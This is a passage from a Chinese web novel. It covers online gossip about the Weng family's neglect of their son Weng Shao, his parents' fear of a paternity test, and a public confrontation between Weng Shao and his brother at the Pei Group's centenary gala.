“一个母亲如果真心疼爱自己的儿子,又怎么会把自己的亲生骨肉扔在乡下十八年不闻不问?我就不信当初翁家人收买记者造谣翁绍的事情她不知情。既然当初都没阻止她的两个儿子陷害翁绍,如今她又怎么有脸求翁绍放过翁绥?” “如果她这个当妈的真能一碗水端平,为什么不压着翁绥给翁绍磕头认错?” “她给翁绍下跪的时候还让记者偷拍!怪不得之前有那么多媒体和专家一面倒地抨击翁绍,都收钱了吧?” “我现在也开始怀疑翁绍到底是不是她的亲生儿子。当妈的真能这么狠心?” “我建议翁绍去做一个亲子鉴定!” 周舒静看着网上越来越发散的评论,只觉得心惊肉跳。她捂着胸口,一脸惊慌地看向翁英杰:“怎么办,那个小畜生不会真要闹着做亲子鉴定吧?” “我怎么知道!”翁英杰一脸阴沉地看着电脑屏幕。思索半晌,又闷声问道:“他怎么会知道?” 周舒静没有说话。夫妻两人忧心忡忡地对视一眼:不管翁绍是怎么知道的,他们都要阻止事态向更坏的方向发展。 * 裴氏集团成立一百周年的庆典晚宴定在八月份的最后一天。 当日,举办庆典的裴氏大酒店门庭若市,琳琅满目的豪车将酒店门前的一整条路挤得水泄不通。受邀前来参加庆典的不乏社会名流和政商两界人士,以及裴氏集团董事长裴竞尧的亲朋世交、合作伙伴,集团的股东和高管,各地分公司和子公司的代表。现场还请了许多明星艺人担任表演嘉宾。 傍晚时分,无数媒体记者守在酒店门口拍照录像。 当翁绍和临湖雅苑售楼处的同事以裴氏地产清源市分公司代表的身份出现在酒店门口时,在场的记者全都疯狂了。他们扛着长枪短炮一窝蜂地冲到翁绍面前,那场面简直比当红名星走红毯还要火爆。 “翁绍同学,听说你这次是以裴氏地产全国销冠的身份,受邀参加裴氏集团成立一百周年的庆典晚会。据说你在临湖雅苑的佣金分成已经突破了一千五百万。请问十八岁就能月入千万,是一种什么样的感受?” 翁绍还没来得及开口,就听身后有人怒气冲冲地说道:“月入千万又能怎么样?还不是裴行则身边的一条狗!” 霎时间,众人哗然。大家循声望去,赫然只见翁氏集团董事长翁英杰携夫人周舒静,以及两个儿子从红毯尽头款款走来。 注意到翁绍看向他们的视线,适才说话的翁绥讥讽一笑:“干嘛这样看着我,难道我说的不对吗?你放着好好的翁家二少不做,跑去给裴行则当狗。为了区区一千万卑躬屈膝、摇尾乞怜,难道不是天生下贱?” 众人倒吸一口凉气,灼灼目光情不自禁地落在翁绍的身上。 面对翁绥的破口大骂,翁绍只是微微一笑,心平气和地说道:“我给裴总当狗,短短三个月就赚了几千万和两套房。可见裴总知人善任,出手大方。相比之下,二十几年前对翁董事长有救命之恩的亲大哥,还有不辞辛苦养育了翁董事长的亲爹至今还在乡下过活……” 翁绍说到这里,非常刻意地停顿了一下,慢条斯理道:“由此可见,给裴总当狗,比给翁董事长当爹划算!”